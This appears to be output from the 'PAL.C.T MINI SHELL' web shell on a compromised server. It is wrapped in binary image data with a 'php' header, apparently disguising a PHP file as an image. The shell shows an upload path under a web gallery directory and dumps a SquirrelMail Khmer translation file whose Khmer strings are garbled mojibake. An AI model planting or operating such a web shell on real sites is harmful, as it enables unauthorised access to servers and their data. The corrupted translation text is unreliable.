‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/share/squirrelmail/locale/km/LC_MESSAGES/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/share/squirrelmail/locale/km/LC_MESSAGES/mini.po

# Khmer (km) mini Translation
# Auk Piseth <piseth_dv@khmeros.info>, 2008.
# Khoem Sokhem <khoemsokhem@khmeros.info>, 2009.
# Copyright (c) 2008-2009 KhmerOS Project
# Copyright (c) 1999-2009 The SquirrelMail Project Team
msgid ""
msgstr ""
"Project-Id-Version: mini\n"
"Report-Msgid-Bugs-To: Tomas Kuliavas <tokul@users.sourceforge.net>\n"
"POT-Creation-Date: 2006-09-10 01:05+0200\n"
"PO-Revision-Date: 2009-04-24 09:27+0700\n"
"Last-Translator: Khoem Sokhem <khoemsokhem@khmeros.info>\n"
"Language-Team: Khmer <en@li.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"X-Generator: KBabel 1.11.4\n"

#: functions.php:34
msgid "mini window"
msgstr "បង្អួច​ážáž¼áž…"

#: functions.php:49 mini.php:85 mini.php:96
msgid "Mini SquirrelMail"
msgstr "SquirrelMail ážáž¼áž…"

#: functions.php:53
msgid "Window width (in pixels)"
msgstr "ទទឹង​បង្អួច (គិážâ€‹áž‡áž¶â€‹áž—ីកសែល)"

#: functions.php:60
msgid "Window height (in pixels)"
msgstr "កម្ពស់​បង្អួច (គិážâ€‹áž‡áž¶â€‹áž—ីកសែល)"

#: functions.php:67
msgid "never"
msgstr "កុំ"

#: functions.php:70
#, php-format
msgid "%s second"
msgid_plural "%s seconds"
msgstr[0] "%s វិនាទី"

#: functions.php:73
#, php-format
msgid "%s minute"
msgid_plural "%s minutes"
msgstr[0] "%s នាទី"

#: functions.php:79
msgid "Window refresh time"
msgstr "áž–áŸáž›ážœáŸáž›áž¶â€‹áž’្វើ​ឲ្យ​បង្អួច​ស្រស់"

#: functions.php:87
msgid "Window text size"
msgstr "ទំហំ​អážáŸ’ážáž”ទ​បង្អួច"

#: functions.php:90
msgid "Very small"
msgstr "ážáž¼áž…ណាស់"

#: functions.php:91
msgid "Small"
msgstr "ážáž¼áž…"

#: functions.php:92
msgid "Normal"
msgstr "ធម្មážáž¶"

#: functions.php:162
msgid ""
"This message has additional parts. Please use the main SquirrelMail "
"interface to open them"
msgstr "សារ​នáŸáŸ‡ មាន​ផ្នែក​បន្ážáŸ‚ម ។ សូម​ប្រើ​ចំណុចប្រទាក់ SquirrelMail ចម្បង ដើម្បី​បើក​ពួកវា"

#: functions.php:166 functions.php:178
msgid ""
"Could not find a text part. Please use the main SquirrelMail window to read "
"this message"
msgstr "មិនអាច​រក​ផ្នែក​អážáŸ’ážáž”ទ​បានទáŸÂ áŸ” សូម​ប្រើ​បង្អួច SquirrelMail ចម្បង ដើម្បី​អាន​សារ​នáŸáŸ‡"

#: functions.php:302 mini.php:123
msgid "No subject"
msgstr "គ្មាន​ប្រធាន​បទ"

#: functions.php:314 functions.php:315 mini.php:130
msgid "No sender"
msgstr "គ្មាន​អ្នក​ផ្ញើ"

#: mini.php:75 mini.php:139
msgid "Back"
msgstr "ážáž™áž€áŸ’រោយ"

#: mini.php:78
msgid "Refresh"
msgstr "ធ្វើ​ឲ្យ​ស្រស់"

#: mini.php:133 mini.php:174
msgid "Subject"
msgstr "ប្រធានបទ"

#: mini.php:134 mini.php:176
msgid "From"
msgstr "ពី"

#: mini.php:141
msgid "Keep as new"
msgstr "រក្សាទុក​ជា​សារ​ážáŸ’មី"

#: mini.php:148
msgid "Folder"
msgstr "ážáž"

#: mini.php:150
msgid "New Mail"
msgstr "សំបុážáŸ’រ​ážáŸ’មី"

#: mini.php:160
msgid "INBOX"
msgstr "ប្រអប់​ទទួល"

#: mini.php:193
msgid "No New Messages"
msgstr "គ្មាន​សារ​ážáŸ’មី"

#: mini.php:209
msgid "Close"
msgstr "បិទ"

ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚